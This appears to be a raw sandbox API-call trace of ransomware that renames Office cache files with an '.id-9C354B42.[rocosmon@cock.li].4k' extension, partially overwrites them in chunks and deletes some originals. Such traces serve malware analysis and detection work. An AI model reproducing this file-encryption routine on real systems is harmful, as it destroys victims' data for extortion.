	[0099.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.537] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.537] lstrlenW (lpString=".doc") returned 4
	[0099.537] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0099.537] lstrlenW (lpString=".docx") returned 5
	[0099.537] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0099.537] lstrlenW (lpString=".pdf") returned 4
	[0099.537] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0099.537] lstrlenW (lpString=".xls") returned 4
	[0099.538] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0099.538] lstrlenW (lpString=".xlsx") returned 5
	[0099.538] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0099.538] lstrlenW (lpString=".ppt") returned 4
	[0099.538] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0099.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.538] lstrlenW (lpString=".zip") returned 4
	[0099.538] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0099.538] lstrlenW (lpString=".rar") returned 4
	[0099.538] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0099.538] lstrlenW (lpString=".bz2") returned 4
	[0099.538] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0099.538] lstrlenW (lpString=".7z") returned 3
	[0099.538] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0099.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.538] lstrlenW (lpString=".dbf") returned 4
	[0099.538] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0099.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.538] lstrlenW (lpString=".1cd") returned 4
	[0099.538] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0099.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.538] lstrlenW (lpString=".jpg") returned 4
	[0099.538] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0099.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.538] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.538] lstrlenW (lpString=".doc") returned 4
	[0099.539] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0099.539] lstrlenW (lpString=".docx") returned 5
	[0099.539] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0099.539] lstrlenW (lpString=".pdf") returned 4
	[0099.539] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0099.539] lstrlenW (lpString=".xls") returned 4
	[0099.539] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0099.539] lstrlenW (lpString=".xlsx") returned 5
	[0099.539] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0099.539] lstrlenW (lpString=".ppt") returned 4
	[0099.539] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0099.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.539] lstrlenW (lpString=".zip") returned 4
	[0099.539] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0099.539] lstrlenW (lpString=".rar") returned 4
	[0099.539] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0099.539] lstrlenW (lpString=".bz2") returned 4
	[0099.539] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0099.539] lstrlenW (lpString=".7z") returned 3
	[0099.539] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0099.539] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.540] lstrlenW (lpString=".dbf") returned 4
	[0099.540] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0099.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.540] lstrlenW (lpString=".1cd") returned 4
	[0099.540] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0099.540] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77
	[0099.540] lstrlenW (lpString=".jpg") returned 4
	[0099.540] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0099.540] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0099.540] lstrlenW (lpString="ProjLR.cab") returned 10
	[0099.540] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0099.945] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=8265165) returned 1
	[0099.945] CloseHandle (hObject=0x1fc) returned 1
	[0099.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020
	[0099.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.945] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0099.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0099.946] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0099.946] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.946] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.977] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.978] ReadFile (in: hFile=0x1fc, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.995] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.995] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.995] ReadFile (in: hFile=0x1fc, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x35bfc38*=0x40000, lpOverlapped=0x0) returned 1
	[0100.070] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.070] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x35bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0100.107] SetEndOfFile (hFile=0x1fc) returned 1
	[0100.107] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0100.107] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.107] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.109] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.109] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.111] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc7c | out: lpNewFilePointer=0x0) returned 1
	[0100.111] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x35bfc88*=0x40000, lpOverlapped=0x0) returned 1
	[0100.114] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0100.114] CloseHandle (hObject=0x1fc) returned 1
	[0100.114] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0100.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.114] lstrlenW (lpString=".doc") returned 4
	[0100.114] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0100.115] lstrlenW (lpString=".docx") returned 5
	[0100.115] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0100.115] lstrlenW (lpString=".pdf") returned 4
	[0100.115] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0100.115] lstrlenW (lpString=".xls") returned 4
	[0100.115] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0100.115] lstrlenW (lpString=".xlsx") returned 5
	[0100.115] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0100.115] lstrlenW (lpString=".ppt") returned 4
	[0100.115] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0100.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.115] lstrlenW (lpString=".zip") returned 4
	[0100.115] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0100.115] lstrlenW (lpString=".rar") returned 4
	[0100.115] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0100.115] lstrlenW (lpString=".bz2") returned 4
	[0100.115] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0100.115] lstrlenW (lpString=".7z") returned 3
	[0100.115] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0100.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.115] lstrlenW (lpString=".dbf") returned 4
	[0100.115] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0100.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.115] lstrlenW (lpString=".1cd") returned 4
	[0100.115] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0100.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.115] lstrlenW (lpString=".jpg") returned 4
	[0100.115] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0100.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.116] lstrlenW (lpString=".doc") returned 4
	[0100.116] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0100.116] lstrlenW (lpString=".docx") returned 5
	[0100.116] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0100.116] lstrlenW (lpString=".pdf") returned 4
	[0100.116] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0100.116] lstrlenW (lpString=".xls") returned 4
	[0100.116] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0100.116] lstrlenW (lpString=".xlsx") returned 5
	[0100.116] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0100.116] lstrlenW (lpString=".ppt") returned 4
	[0100.116] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0100.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.116] lstrlenW (lpString=".zip") returned 4
	[0100.116] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0100.116] lstrlenW (lpString=".rar") returned 4
	[0100.116] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0100.116] lstrlenW (lpString=".bz2") returned 4
	[0100.116] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0100.116] lstrlenW (lpString=".7z") returned 3
	[0100.116] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0100.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.116] lstrlenW (lpString=".dbf") returned 4
	[0100.116] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0100.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.116] lstrlenW (lpString=".1cd") returned 4
	[0100.116] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0100.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73
	[0100.117] lstrlenW (lpString=".jpg") returned 4
	[0100.117] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0100.117] lstrcmpiW (lpString1=".dll", lpString2=".4k") returned 1
	[0100.117] lstrlenW (lpString="dwintl20.dll") returned 12
	[0100.117] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0100.117] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=107912) returned 1
	[0100.117] CloseHandle (hObject=0x1fc) returned 1
	[0100.117] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020
	[0100.118] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.118] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0100.118] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.118] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.118] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0100.165] GetLastError () returned 0x0
	[0100.165] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x1a588, lpOverlapped=0x0) returned 1
	[0100.252] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0x1a590, lpOverlapped=0x0) returned 1
	[0100.255] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.255] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0100.255] SetEndOfFile (hFile=0x1f8) returned 1
	[0100.255] CloseHandle (hObject=0x1f8) returned 1
	[0100.256] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.256] SetEndOfFile (hFile=0x1fc) returned 1
	[0100.257] CloseHandle (hObject=0x1fc) returned 1
	[0100.257] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0100.258] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1
	[0100.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.258] lstrlenW (lpString=".doc") returned 4
	[0100.258] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0100.258] lstrlenW (lpString=".docx") returned 5
	[0100.258] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0100.258] lstrlenW (lpString=".pdf") returned 4
	[0100.258] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0100.258] lstrlenW (lpString=".xls") returned 4
	[0100.258] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0100.258] lstrlenW (lpString=".xlsx") returned 5
	[0100.258] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0100.258] lstrlenW (lpString=".ppt") returned 4
	[0100.258] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0100.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.259] lstrlenW (lpString=".zip") returned 4
	[0100.259] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0100.259] lstrlenW (lpString=".rar") returned 4
	[0100.259] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0100.259] lstrlenW (lpString=".bz2") returned 4
	[0100.259] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0100.259] lstrlenW (lpString=".7z") returned 3
	[0100.259] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0100.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.259] lstrlenW (lpString=".dbf") returned 4
	[0100.259] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0100.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.259] lstrlenW (lpString=".1cd") returned 4
	[0100.259] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0100.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.259] lstrlenW (lpString=".jpg") returned 4
	[0100.259] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0100.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.259] lstrlenW (lpString=".doc") returned 4
	[0100.259] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0100.259] lstrlenW (lpString=".docx") returned 5
	[0100.259] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0100.259] lstrlenW (lpString=".pdf") returned 4
	[0100.259] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0100.259] lstrlenW (lpString=".xls") returned 4
	[0100.259] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0100.260] lstrlenW (lpString=".xlsx") returned 5
	[0100.260] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0100.260] lstrlenW (lpString=".ppt") returned 4
	[0100.260] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0100.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.260] lstrlenW (lpString=".zip") returned 4
	[0100.260] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0100.260] lstrlenW (lpString=".rar") returned 4
	[0100.260] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0100.260] lstrlenW (lpString=".bz2") returned 4
	[0100.260] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0100.260] lstrlenW (lpString=".7z") returned 3
	[0100.260] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0100.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.260] lstrlenW (lpString=".dbf") returned 4
	[0100.260] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0100.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.260] lstrlenW (lpString=".1cd") returned 4
	[0100.260] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0100.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80
	[0100.260] lstrlenW (lpString=".jpg") returned 4
	[0100.260] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0100.260] lstrcmpiW (lpString1=".dll", lpString2=".4k") returned 1
	[0100.260] lstrlenW (lpString="dwdcw20.dll") returned 11
	[0100.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0100.274] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=526176) returned 1
	[0100.274] CloseHandle (hObject=0x1e4) returned 1
	[0100.274] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020
	[0100.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
